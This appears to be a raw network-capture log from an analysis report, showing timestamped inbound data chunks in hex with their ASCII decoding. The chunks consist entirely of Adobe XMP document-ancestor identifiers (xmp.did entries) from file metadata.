2022-07-21 02:34:44 UTC	3986	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680
2022-07-21 02:34:44 UTC	4002	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-f14c-9091-a089b901311e</rdf:li> <rdf:
2022-07-21 02:34:44 UTC	4018	IN	Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <rdf:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BDCD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0
2022-07-21 02:34:44 UTC	4026	IN	Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:
2022-07-21 02:34:44 UTC	4042	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-975d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li> <rdf:li>xmp.did
2022-07-21 02:34:44 UTC	4058	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A206811822AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.
2022-07-21 02:34:44 UTC	4066	IN	Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm
2022-07-21 02:34:44 UTC	4082	IN	Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> <rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd
2022-07-21 02:34:44 UTC	4098	IN	Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li
2022-07-21 02:34:44 UTC	4106	IN	Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
2022-07-21 02:34:44 UTC	4122	IN	Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 64 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <
2022-07-21 02:34:44 UTC	4138	IN	Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rdf:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5
2022-07-21 02:34:44 UTC	4145	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.did:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>
2022-07-21 02:34:44 UTC	4161	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF
2022-07-21 02:34:44 UTC	4177	IN	Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf
2022-07-21 02:34:44 UTC	4185	IN	Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D
2022-07-21 02:34:44 UTC	4201	IN	Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>
2022-07-21 02:34:44 UTC	4217	IN	Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
2022-07-21 02:34:44 UTC	4221	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E01191BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407
